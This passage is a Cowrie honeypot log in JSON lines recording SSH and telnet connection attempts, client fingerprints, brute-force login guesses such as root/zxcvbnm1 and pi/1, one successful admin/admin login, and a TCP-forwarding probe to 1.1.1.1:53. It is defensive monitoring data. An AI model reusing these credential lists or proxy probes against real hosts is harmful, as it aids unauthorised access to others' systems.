ha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:44.097118Z","src_ip":"103.75.182.198","session":"c2669f3f171e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:44.849779Z","src_ip":"185.236.22.41","session":"38cdf8860197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm1","message":"login attempt [root/zxcvbnm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:44.875031Z","src_ip":"103.75.182.198","session":"c2669f3f171e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:46.127509Z","src_ip":"103.75.182.198","session":"c2669f3f171e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":59170,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8094b6eef0b","protocol":"ssh","message":"New connection: 45.153.34.97:59170 (10.17.0.5:22) [session: f8094b6eef0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:46.971106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:47.166479Z","src_ip":"45.153.34.97","session":"f8094b6eef0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:47.169847Z","src_ip":"45.153.34.97","session":"f8094b6eef0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19058,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ea561f50bb3","protocol":"ssh","message":"New connection: 87.251.64.176:19058 (10.17.0.5:22) [session: 6ea561f50bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:47.187780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:47.194808Z","src_ip":"87.251.64.176","session":"6ea561f50bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:47.291173Z","src_ip":"87.251.64.176","session":"6ea561f50bb3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:47.581175Z","src_ip":"87.251.64.176","session":"6ea561f50bb3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:47.680584Z","session":"6ea561f50bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root@123","message":"login attempt [user1/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:47.726404Z","src_ip":"45.153.34.97","session":"f8094b6eef0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:47.778605Z","src_ip":"87.251.64.176","session":"6ea561f50bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:47.878169Z","src_ip":"87.251.64.176","session":"6ea561f50bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:48.906301Z","src_ip":"45.153.34.97","session":"f8094b6eef0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50906,"dst_ip":"10.17.0.5","dst_port":23,"session":"8af3ca05a2af","protocol":"telnet","message":"New connection: 152.42.224.71:50906 (10.17.0.5:23) [session: 8af3ca05a2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:49.138066Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12374,"dst_ip":"10.17.0.5","dst_port":22,"session":"51e77eb6412c","protocol":"ssh","message":"New connection: 45.153.34.97:12374 (10.17.0.5:22) [session: 51e77eb6412c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:51.499371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:51.504417Z","src_ip":"45.153.34.97","session":"51e77eb6412c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:51.590677Z","src_ip":"45.153.34.97","session":"51e77eb6412c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leo","password":"claude","message":"login attempt [leo/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:52.024787Z","src_ip":"45.153.34.97","session":"51e77eb6412c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:53.109319Z","src_ip":"45.153.34.97","session":"51e77eb6412c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50912,"dst_ip":"10.17.0.5","dst_port":23,"session":"568cbad66f54","protocol":"telnet","message":"New connection: 152.42.224.71:50912 (10.17.0.5:23) [session: 568cbad66f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:55.865866Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12390,"dst_ip":"10.17.0.5","dst_port":22,"session":"723e52936ce3","protocol":"ssh","message":"New connection: 45.153.34.97:12390 (10.17.0.5:22) [session: 723e52936ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:56.176484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:56.186442Z","src_ip":"45.153.34.97","session":"723e52936ce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:56.272367Z","src_ip":"45.153.34.97","session":"723e52936ce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:56.685342Z","src_ip":"45.153.34.97","session":"723e52936ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:57.779921Z","src_ip":"45.153.34.97","session":"723e52936ce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":36424,"dst_ip":"10.17.0.5","dst_port":22,"session":"84ce562d5397","protocol":"ssh","message":"New connection: 45.153.34.97:36424 (10.17.0.5:22) [session: 84ce562d5397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:00.579016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:00.706670Z","src_ip":"45.153.34.97","session":"84ce562d5397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:00.772494Z","src_ip":"45.153.34.97","session":"84ce562d5397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1","message":"login attempt [pi/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:01.087227Z","src_ip":"45.153.34.97","session":"84ce562d5397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:02.299130Z","src_ip":"45.153.34.97","session":"84ce562d5397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":36434,"dst_ip":"10.17.0.5","dst_port":22,"session":"95cd5fad912b","protocol":"ssh","message":"New connection: 45.153.34.97:36434 (10.17.0.5:22) [session: 95cd5fad912b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:05.005836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:05.013021Z","src_ip":"45.153.34.97","session":"95cd5fad912b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:05.107967Z","src_ip":"45.153.34.97","session":"95cd5fad912b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12312","message":"login attempt [root/12312] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:05.725396Z","src_ip":"45.153.34.97","session":"95cd5fad912b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:06.811398Z","src_ip":"45.153.34.97","session":"95cd5fad912b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.15999698638916,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:07.691458Z","src_ip":"152.42.224.71","session":"08553a8bf7b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":41028,"dst_ip":"10.17.0.5","dst_port":22,"session":"26073ff54d0a","protocol":"ssh","message":"New connection: 192.169.250.238:41028 (10.17.0.5:22) [session: 26073ff54d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:09.152706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:09.157902Z","src_ip":"192.169.250.238","session":"26073ff54d0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:09.232210Z","src_ip":"192.169.250.238","session":"26073ff54d0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":36444,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fffc55641cf","protocol":"ssh","message":"New connection: 45.153.34.97:36444 (10.17.0.5:22) [session: 3fffc55641cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:09.498434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:09.503652Z","src_ip":"45.153.34.97","session":"3fffc55641cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password01!","message":"login attempt [root/password01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:09.555592Z","src_ip":"192.169.250.238","session":"26073ff54d0a","protocol":"ssh"}
